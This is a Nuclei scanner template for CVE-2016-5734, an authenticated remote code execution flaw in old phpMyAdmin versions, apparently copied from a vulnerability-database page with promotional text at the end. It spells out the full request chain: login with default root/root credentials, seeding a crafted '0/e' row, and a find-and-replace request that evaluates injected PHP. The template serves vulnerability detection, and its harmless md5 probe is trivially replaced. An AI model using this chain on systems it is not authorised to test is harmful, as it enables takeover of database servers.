phpMyAdmin 4.0.x/4.4.x/4.6.x - Authenticated Remote Code Execution
10
id: CVE-2016-5734
info:
name: phpMyAdmin 4.0.x/4.4.x/4.6.x - Authenticated Remote Code Execution
author: DhiyaneshDk
severity: critical
description: |
phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x before 4.6.3 does not properly choose delimiters to prevent the preg_replace 'e' (eval) modifier being reachable through the table search-and-replace feature (CVE-2016-5734). On PHP older than 7.0 (where the /e modifier still exists), an authenticated attacker stores a crafted value (0/e followed by a NUL byte) in a table cell, then issues a regex find-and-replace whose replacement string is evaluated as PHP, achieving remote code execution. This template logs in, seeds the crafted row, and evaluates print(md5(<nonce>)) via the replacement, confirming execution when the nonce's md5 appears in the response. The payload is PHP-native (no shell command), so it works on both Windows and Linux hosts.
impact: |
An authenticated attacker (including one using default/weak MySQL credentials) executes arbitrary PHP and OS commands as the web-server user, leading to full compromise of the host running phpMyAdmin.
remediation: |
Upgrade to phpMyAdmin 4.0.10.16, 4.4.15.7, 4.6.3 or later, and run on PHP 7.0+ (which removed the vulnerable /e modifier). Restrict phpMyAdmin access and do not use default database credentials.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2016-5734
- https://github.com/advisories/GHSA-rv57-479x-x4qv
- https://www.exploit-db.com/exploits/40185
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2016-5734
epss-score: 0.91745
epss-percentile: 0.99819
cwe-id: CWE-95
metadata:
verified: true
max-request: 4
shodan-query: http.title:"phpMyAdmin"
fofa-query: title="phpMyAdmin"
tags: cve,cve2016,phpmyadmin,rce,authenticated,vkev
variables:
username: "root"
password: "root"
num: "{{rand_int(10000000, 99999999)}}"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET /index.php?lang=en HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
internal: true
extractors:
- type: regex
name: token
internal: true
part: body
group: 1
regex:
- 'name="token" value="([a-f0-9]{16,})"'
- raw:
- |
POST /index.php?lang=en HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
pma_username={{username}}&pma_password={{password}}&server=1&target=index.php&token={{token}}
matchers:
- type: dsl
dsl:
- "status_code == 302 || status_code == 200"
internal: true
- raw:
- |
POST /import.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
db=test&token={{token}}&ajax_request=true&sql_query=CREATE+DATABASE+IF+NOT+EXISTS+test%3B+DROP+TABLE+IF+EXISTS+test.prgpwn%3B+CREATE+TABLE+test.prgpwn+(c+varchar(10))%3B+INSERT+INTO+test.prgpwn+VALUES+(UNHEX(%27302F6500%27))%3B
matchers:
- type: dsl
dsl:
- "status_code == 200"
internal: true
- raw:
- |
POST /tbl_find_replace.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
db=test&table=prgpwn&token={{token}}&goto=sql.php&columnIndex=0&useRegex=on&replace=true&submit=Go&ajax_request=true&find=0%2Fe%00&replaceWith=print(md5({{num}}))%3B
matchers:
- type: dsl
dsl:
- "contains(body, md5(num))"
# digest: 4a0a0047304502203dfeacdc3ba3d03081ffcc1915b9e71719874eba34d29789f2cff3879ec953ab022100ec3dcedd02594a329fd4e361b4919c6b283c034f00fae9f00b13c7d81b55c023:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
13 Nov 2026 13:58Current
8.3High risk
Vulners AI Score8.3
CVSS 27.5
CVSS 39.8
EPSS0.91745